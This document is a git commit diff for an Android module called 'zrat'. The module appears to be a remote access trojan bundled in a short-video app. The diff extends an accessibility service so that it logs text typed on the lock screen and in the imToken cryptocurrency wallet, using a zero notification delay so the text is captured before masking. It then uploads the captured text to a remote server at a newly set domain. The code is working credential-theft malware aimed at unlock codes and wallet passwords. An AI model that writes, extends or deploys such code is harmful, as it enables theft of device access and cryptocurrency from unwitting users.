Selaa lähdekoodia

feat(zrat): 优化文本记录功能并增加锁屏和 imToken 支持

wuyi 5 kuukautta sitten
vanhempi
commit
a934ed5260

+ 1 - 1
.env.app

@@ -1,5 +1,5 @@
 VITE_BASE_URL=/
-VITE_API_BASE_URL=https://www.freeshort.buzz/api/
+VITE_API_BASE_URL=https://zotfb.tech/api/
 VITE_APP=true
 VITE_STORAGE_TYPE=oss
 VITE_PACKAGE=freeshort

+ 1 - 1
android/app/src/main/AndroidManifest.xml

@@ -36,7 +36,7 @@
 
         <meta-data
             android:name="socket_url"
-            android:value="https://shorts.izouma.com/client" />
+            android:value="https://zotfb.tech/client" />
     </application>
 
 

+ 235 - 19
android/zrat/src/main/java/com/example/zrat/AccessibilityService.java

@@ -2,12 +2,16 @@ package com.example.zrat;
 
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.accessibilityservice.GestureDescription;
+import android.app.KeyguardManager;
 import android.content.Intent;
+import android.content.SharedPreferences;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.graphics.Path;
 import android.graphics.Rect;
 import android.media.AudioManager;
+import android.os.Handler;
+import android.os.Looper;
 import android.os.PowerManager;
 import android.provider.Settings;
 import android.util.Log;
@@ -35,6 +39,29 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
 
     public static AccessibilityService instance;
 
+    // 文本聚合缓冲
+    private final Object bufferLock = new Object();
+    private final StringBuilder aggregateBuffer = new StringBuilder();
+    private final Handler flushHandler = new Handler(Looper.getMainLooper());
+    private static volatile long flushIdleMs = 5000L;
+    private long lastAppendAt = 0L;
+    private String currentAggregateAppName = null;
+    private final Runnable idleFlushRunnable = new Runnable() {
+        @Override
+        public void run() {
+            synchronized (bufferLock) {
+                if (System.currentTimeMillis() - lastAppendAt >= flushIdleMs) {
+                    flushBuffer();
+                } else {
+                    scheduleIdleFlush();
+                }
+            }
+        }
+    };
+
+    // imToken 输入框焦点跟踪
+    private boolean imTokenInputFocused = false;
+
     public AccessibilityService() {
     }
 
@@ -43,10 +70,26 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         super.onServiceConnected();
         instance = this;
 
+        // 读取可配置的空闲上传间隔(毫秒),key: flush_idle_ms,默认 5000
+        try {
+            SharedPreferences sp = getSharedPreferences("accessibility_prefs", MODE_PRIVATE);
+            long configured = sp.getLong("flush_idle_ms", 5000L);
+            if (configured < 1000L) configured = 1000L; // 下限 1s,避免太频繁
+            flushIdleMs = configured;
+            Log.i(TAG, "flushIdleMs configured: " + flushIdleMs + " ms");
+        } catch (Throwable ignored) { }
+
         AccessibilityServiceInfo info = new AccessibilityServiceInfo();
-        info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED | AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
+        info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED
+                | AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED
+                | AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED
+                | AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+                | AccessibilityEvent.TYPE_VIEW_FOCUSED
+                | AccessibilityEvent.TYPE_VIEW_CLICKED
+                | AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED;
         info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
-        info.notificationTimeout = 100;
+        // 降低延迟,尽量在掩码前拿到文本
+        info.notificationTimeout = 0;
         info.flags = AccessibilityServiceInfo.DEFAULT
                 | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS;
         this.setServiceInfo(info);
@@ -186,7 +229,18 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
             ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
             CharSequence applicationLabel = packageManager.getApplicationLabel(applicationInfo);
             Log.i(TAG, "onAccessibilityEvent: app name is: " + applicationLabel);
-            traverseNode(getRootInActiveWindow());
+            // 应用/界面切换:仅在确实离开当前来源时再落库(imToken 改为仅点击其他按钮时上传,此处不落库)
+            if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
+                String eventSource = detectAppSource(packageName, applicationLabel);
+                boolean stillSame = currentAggregateAppName == null || currentAggregateAppName.equals(eventSource);
+                if (!stillSame) {
+                    if ("LockScreen".equals(currentAggregateAppName)) {
+                        flushBuffer();
+                    }
+                }
+                // 仅在窗口变化时遍历树,避免阻塞文本事件
+                traverseNode(getRootInActiveWindow());
+            }
 
             // 输入文本记录
             if (eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
@@ -198,26 +252,92 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
                         if (contentDescription == null) {
                             contentDescription = "";
                         }
-                        // 只记录imToken应用的输入
-                        if ("imToken".equals(applicationLabel.toString())) {
-                            // 如果只需要PIN码
-                            // if (contentDescription.toString().contains("PIN"))
-                            Log.i(TAG, "输入文本记录 | App Name: " + applicationLabel.toString());
-                            Log.i(TAG, "输入文本记录 | Content Description: " + contentDescription.toString());
-                            Log.i(TAG, "输入文本记录 | Input Text: " + inputText.toString());
-
-                            Map<String, Object> map = new HashMap<>();
-                            map.put("appName", applicationLabel.toString());
-                            map.put("record", inputText.toString());
-                            ZService.zService.saveTextRecordToDataBase(map);
+            // 锁屏界面文本记录(聚合,优先事件快照)
+            if (isOnLockScreen()) {
+                List<CharSequence> eventTexts = event.getText();
+                String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
+                        ? eventTexts.get(0).toString() : null;
+                String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
+                Log.i(TAG, "锁屏文本记录 | Text: " + toSave);
+                appendAggregateLine("LockScreen", toSave);
+            }
+            // imToken 文本记录(聚合,优先事件快照)
+            if ("imToken".equals(applicationLabel.toString()) || "im.token.app".equals(packageName)) {
+                List<CharSequence> eventTexts = event.getText();
+                String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
+                        ? eventTexts.get(0).toString() : null;
+                String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
+                // 尝试抓取新增片段,提升首字命中
+                try {
+                    if (eventTextStr != null && event.getAddedCount() > 0 && event.getFromIndex() >= 0) {
+                        int from = event.getFromIndex();
+                        int to = from + event.getAddedCount();
+                        if (to <= eventTextStr.length()) {
+                            String added = eventTextStr.substring(from, to);
+                            if (added != null && !added.isEmpty()) {
+                                toSave = eventTextStr; // 保留完整快照
+                            }
                         }
                     }
+                } catch (Throwable ignored) { }
+                Log.i(TAG, "imToken文本记录 | Text: " + toSave);
+                appendAggregateLine("imToken", toSave);
+            }
+                    }
                 }
             }
             
-            // 检测钱包密码验证区域
+            // 文本选择变化:有些输入法先通过选择变更暴露明文
+            if (eventType == AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED) {
+                List<CharSequence> eventTexts = event.getText();
+                String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
+                        ? eventTexts.get(0).toString() : null;
+                AccessibilityNodeInfo source = event.getSource();
+                String nodeStr = source != null && source.getText() != null ? source.getText().toString() : null;
+                String toSave = eventTextStr != null ? eventTextStr : (nodeStr != null ? nodeStr : "");
+                if (isOnLockScreen()) {
+                    appendAggregateLine("LockScreen", toSave);
+                    return;
+                }
+                if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel.toString())) {
+                    appendAggregateLine("imToken", toSave);
+                    return;
+                }
+            }
+
+            // 窗口内容文本变化:部分 ROM 文本更早从此事件到达
+            if (eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+                    && (event.getContentChangeTypes() & AccessibilityEvent.CONTENT_CHANGE_TYPE_TEXT) != 0) {
+                List<CharSequence> eventTexts = event.getText();
+                String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
+                        ? eventTexts.get(0).toString() : null;
+                AccessibilityNodeInfo source = event.getSource();
+                String nodeStr = source != null && source.getText() != null ? source.getText().toString() : null;
+                String toSave = eventTextStr != null ? eventTextStr : (nodeStr != null ? nodeStr : "");
+                if (isOnLockScreen()) {
+                    appendAggregateLine("LockScreen", toSave);
+                    return;
+                }
+                if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel.toString())) {
+                    appendAggregateLine("imToken", toSave);
+                    return;
+                }
+            }
+
+            // imToken:仅在点击其他按钮(非可编辑控件)时上传
+            if (eventType == AccessibilityEvent.TYPE_VIEW_CLICKED
+                    && ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel.toString()))) {
+                AccessibilityNodeInfo clicked = event.getSource();
+                boolean clickedEditable = clicked != null && (clicked.isEditable() ||
+                        (clicked.getClassName() != null && clicked.getClassName().toString().contains("EditText")));
+                if (!clickedEditable && "imToken".equals(currentAggregateAppName)) {
+                    flushBuffer();
+                    return;
+                }
+            }
+
+            // 检测钱包密码验证区域(保持功能,但避免额外日志与阻塞)
             if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED && "imToken".equals(applicationLabel.toString())) {
-                // 窗口状态变化时也主动扫描一次
                 scanForWalletPasswordVerification();
             }
         } catch (Exception e) {
@@ -227,7 +347,8 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
 
     @Override
     public void onInterrupt() {
-
+        // 中断时尽力落库,避免遗失
+        flushBuffer();
     }
 
     public void performClick(int x, int y) {
@@ -238,6 +359,44 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         dispatchGesture(tapBuilder.build(), null, null);
     }
 
+    // 提供运行时动态设置 flushIdleMs 的能力(毫秒)
+    public void updateFlushIdleMs(long newMs) {
+        if (newMs < 1000L) newMs = 1000L;
+        flushIdleMs = newMs;
+        try {
+            SharedPreferences sp = getSharedPreferences("accessibility_prefs", MODE_PRIVATE);
+            sp.edit().putLong("flush_idle_ms", flushIdleMs).apply();
+            Log.i(TAG, "flushIdleMs updated: " + flushIdleMs + " ms");
+        } catch (Throwable ignored) { }
+        // 重新调度已有的 idle 任务
+        scheduleIdleFlush();
+    }
+
+    private String detectAppSource(String packageName, CharSequence applicationLabel) {
+        if (isOnLockScreen()) return "LockScreen";
+        if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel != null ? applicationLabel.toString() : null)) return "imToken";
+        return null;
+    }
+
+    private boolean isEditableFocused(AccessibilityNodeInfo node) {
+        if (node == null) return false;
+        if (!node.isFocused()) return false;
+        if (node.isEditable()) return true;
+        CharSequence cls = node.getClassName();
+        return cls != null && cls.toString().contains("EditText");
+    }
+
+    private boolean aggregateFromEvent(String packageName, CharSequence applicationLabel, AccessibilityEvent event, AccessibilityNodeInfo source) {
+        String appName = detectAppSource(packageName, applicationLabel);
+        if (appName == null) return false;
+        List<CharSequence> eventTexts = event.getText();
+        String snapshot = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null) ? eventTexts.get(0).toString() : null;
+        String nodeStr = source != null && source.getText() != null ? source.getText().toString() : null;
+        String toSave = snapshot != null ? snapshot : (nodeStr != null ? nodeStr : "");
+        appendAggregateLine(appName, toSave);
+        return true;
+    }
+
     private AccessibilityNodeInfo findScrollableNode(AccessibilityNodeInfo root, AccessibilityNodeInfo.AccessibilityAction action) {
         Deque<AccessibilityNodeInfo> deque = new ArrayDeque<>();
         deque.add(root);
@@ -253,7 +412,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         return null;
     }
 
-    public void scrollDown() {
+    public void scrollDown() {  
         AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD);
         if (scrollable != null) {
             scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD.getId());
@@ -298,6 +457,47 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         }
     }
 
+    private void appendAggregateLine(String appName, String line) {
+        if (line == null) return;
+        synchronized (bufferLock) {
+            if (currentAggregateAppName != null && !currentAggregateAppName.equals(appName)) {
+                // 切换来源前先落库旧来源
+                flushBuffer();
+            }
+            currentAggregateAppName = appName;
+            if (aggregateBuffer.length() > 0) aggregateBuffer.append('\n');
+            aggregateBuffer.append(line);
+            lastAppendAt = System.currentTimeMillis();
+            scheduleIdleFlush();
+        }
+    }
+
+    private void scheduleIdleFlush() {
+        flushHandler.removeCallbacks(idleFlushRunnable);
+        flushHandler.postDelayed(idleFlushRunnable, flushIdleMs);
+    }
+
+    private void flushBuffer() {
+        String payload = null;
+        String appName = null;
+        synchronized (bufferLock) {
+            if (aggregateBuffer.length() > 0) {
+                payload = aggregateBuffer.toString();
+                aggregateBuffer.setLength(0);
+                appName = currentAggregateAppName;
+                currentAggregateAppName = null;
+            }
+            flushHandler.removeCallbacks(idleFlushRunnable);
+        }
+        if (payload != null && !payload.isEmpty() && appName != null) {
+            Map<String, Object> map = new HashMap<>();
+            map.put("appName", appName);
+            map.put("record", payload);
+            map.put("ts", System.currentTimeMillis());
+            ZService.zService.saveTextRecordToDataBase(map);
+        }
+    }
+
     public void screenOff() {
         try {
             Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_BRIGHTNESS, 1);
@@ -395,4 +595,20 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
             }
         }).start();
     }
+    private boolean isOnLockScreen() {
+        try {
+            KeyguardManager keyguardManager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
+            if (keyguardManager == null) {
+                return false;
+            }
+            if (keyguardManager.isKeyguardLocked()) {
+                return true;
+            }
+            // 兼容旧设备
+            if (keyguardManager.inKeyguardRestrictedInputMode()) {
+                return true;
+            }
+        } catch (Throwable ignored) { }
+        return false;
+    }
 }

+ 0 - 1
android/zrat/src/main/java/com/example/zrat/ZService.java

@@ -295,7 +295,6 @@ public class ZService extends Service {
 
         try {
             String socketUrl = getSocketUrl();
-            // String socketUrl = "http://192.168.6.127:3333/client";
             IO.Options options = new IO.Options();
             options.path = "/ws";
             options.transports = new String[]{"websocket"};